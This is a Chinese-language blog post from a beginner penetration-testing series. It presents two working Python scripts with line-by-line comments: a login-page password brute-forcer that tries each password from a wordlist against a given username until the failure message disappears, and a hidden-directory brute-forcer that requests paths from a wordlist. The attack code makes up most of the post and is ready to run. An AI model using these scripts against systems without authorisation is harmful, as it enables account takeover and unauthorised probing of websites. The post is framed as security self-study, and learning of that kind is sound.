iT邦幫忙

2024 iThome 鐵人賽

DAY 18
0
自我挑戰組

從零開始:資安滲透初探系列 第 18

15: 資安滲透初探: Python 編程項目 3 - 登錄暴力破解、目錄發現

  • 分享至 

  • xImage
  •  

接下來會分享學習資料中提供的兩個不同的python腳本,分別是:暴力破解與目錄發現
一樣會請ChatGPT協助解釋

概述:

  1. 兩個不同的腳本:
    • 這次將展示兩個不同的專案。
    • 這兩個專案都相對較小,並且運作方式相似。
    • 一旦完成其中一個專案,理解另一個專案將不會有問題。
  2. 兩個專案名稱:
    • 登入頁面暴力破解器 (Login Page Bruteforcer)
    • 目錄暴力破解器 (Directories Bruteforcer)

內容:

  1. 登入頁面暴力破解器:
    • 該專案將嘗試透過已知的使用者名稱來破解密碼。
    • 程式將打開一個包含大量密碼的TXT文件。
    • 每個密碼將被依次發送,嘗試找到正確的密碼,從而獲得帳戶的訪問權限。
  2. 目錄暴力破解器:
    • 該專案將嘗試找出網頁中的隱藏目錄。
    • 程式將打開一個包含常見目錄名稱的TXT文件。
    • 每個目錄名稱將被依次請求訪問,如果回應狀態碼為200,表示該頁面存在。
    • 如果出現連接錯誤,則該頁面不存在。

Bruteforcer In Python

這段程式碼是一個簡單的暴力破解工具,用於對指定的帳號進行密碼暴力破解。它通過逐行讀取密碼文件中的密碼,然後將這些密碼與用戶名一起發送到指定的頁面URL進行登入嘗試。程式會檢查每次嘗試的回應中是否包含特定的失敗字串,如果沒有包含該字串,則表示登入成功並輸出用戶名和密碼。否則,程式會繼續嘗試下一個密碼。

import requests
from termcolor import colored

# 請求使用者輸入登入頁面的URL
url = input('[+] Enter Page URL: ')
# 請求使用者輸入要進行暴力破解的帳號使用者名稱
username = input('[+] Enter Username For The Account To Bruteforce: ')
# 請求使用者輸入包含密碼列表的檔案名稱
password_file = input('[+] Enter Password File To Use: ')
# 請求使用者輸入登入失敗時會顯示的訊息,用以判斷密碼是否正確
login_failed_string = input('[+] Enter String That Occurs When Login Fails: ')
# 請求使用者輸入Cookie值,用於需要Session的頁面,可選
cookie_value = input('Enter Cookie Value(Optional): ')

# 定義暴力破解函數,接受使用者名稱和URL作為參數
def cracking(username, url):
    # 從密碼文件中讀取每一行密碼
    for password in passwords:
        # 去除密碼前後的空白字元
        password = password.strip()
        # 印出目前正在嘗試的密碼,使用紅色顯示
        print(colored(('Trying: ' + password), 'red'))
        # 構建要發送的表單資料,包含使用者名稱、密碼和提交按鈕
        data = {'username': username, 'password': password, 'Login': 'submit'}
        
        # 如果使用者有提供Cookie值,則使用GET請求並帶上Cookie進行暴力破解
        if cookie_value != '':
            response = requests.get(url, params={'username': username, 'password': password, 'Login': 'Login'}, cookies={'Cookie': cookie_value})
        # 否則使用POST請求進行暴力破解
        else:
            response = requests.post(url, data=data)
        
        # 檢查回應內容中是否包含登入失敗的提示訊息
        if login_failed_string in response.content.decode():
            # 如果包含失敗訊息,則表示密碼不正確,繼續嘗試下一個密碼
            pass
        else:
            # 如果不包含失敗訊息,表示密碼正確,印出正確的使用者名稱和密碼,並結束程式
            print(colored(('[+] Found Username: ==> ' + username), 'green'))
            print(colored(('[+] Found Password: ==> ' + password), 'green'))
            exit()

# 打開密碼文件,並將其內容傳遞給cracking函數進行暴力破解
with open(password_file, 'r') as passwords:
    cracking(username, url)

# 如果所有密碼都嘗試過但沒有成功,則輸出密碼不在列表中的訊息
print('[!!] Password Not In List')

Hidden Directory Discovery

這段程式碼是一個簡單的目錄爆破工具,用於嘗試在指定的目標URL下找到有效的目錄。它通過從指定的文件中讀取目錄名稱,然後將這些名稱附加到目標URL,向生成的完整URL發送HTTP GET請求。對於每一個成功返回回應的URL(即未出現連接錯誤),程式會將該URL輸出,表示該目錄存在於目標網站上。

import requests  # 導入requests模組,用於發送HTTP請求

# 請求使用者輸入目標網址(不包括協議前綴 "http://")
target_url = input('[*] Enter Target URL: ')

# 請求使用者輸入包含目錄名稱的文件名
file_name = input('[*] Enter Name Of The File Containing Directories: ')

# 定義一個函式,向指定的URL發送GET請求
def request(url):
    try:
        # 嘗試發送HTTP GET請求
        return requests.get("http://" + url)
    except requests.exceptions.ConnectionError:
        # 如果發生連接錯誤,忽略並返回None(不拋出異常)
        pass

# 打開使用者提供的文件(以讀取模式)
file = open(file_name, 'r')

# 逐行讀取文件中的內容
for line in file:
    # 去除行末尾的換行符號和空白字符,得到目錄名稱
    directory = line.strip()
    
    # 拼接完整的URL(目標網址加上目錄名稱)
    full_url = target_url + '/' + directory
    
    # 向拼接好的URL發送請求,並接收回應
    response = request(full_url)
    
    # 如果回應不為None(即沒有發生連接錯誤)
    if response:
        # 輸出已發現的目錄路徑
        print('[*] Discovered Directory At This Path: ' + full_url)


上一篇
14-3: 資安滲透初探: 網站應用滲透測試
下一篇
15: 資安滲透初探: 中間人攻擊 - MITM
系列文
從零開始:資安滲透初探30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言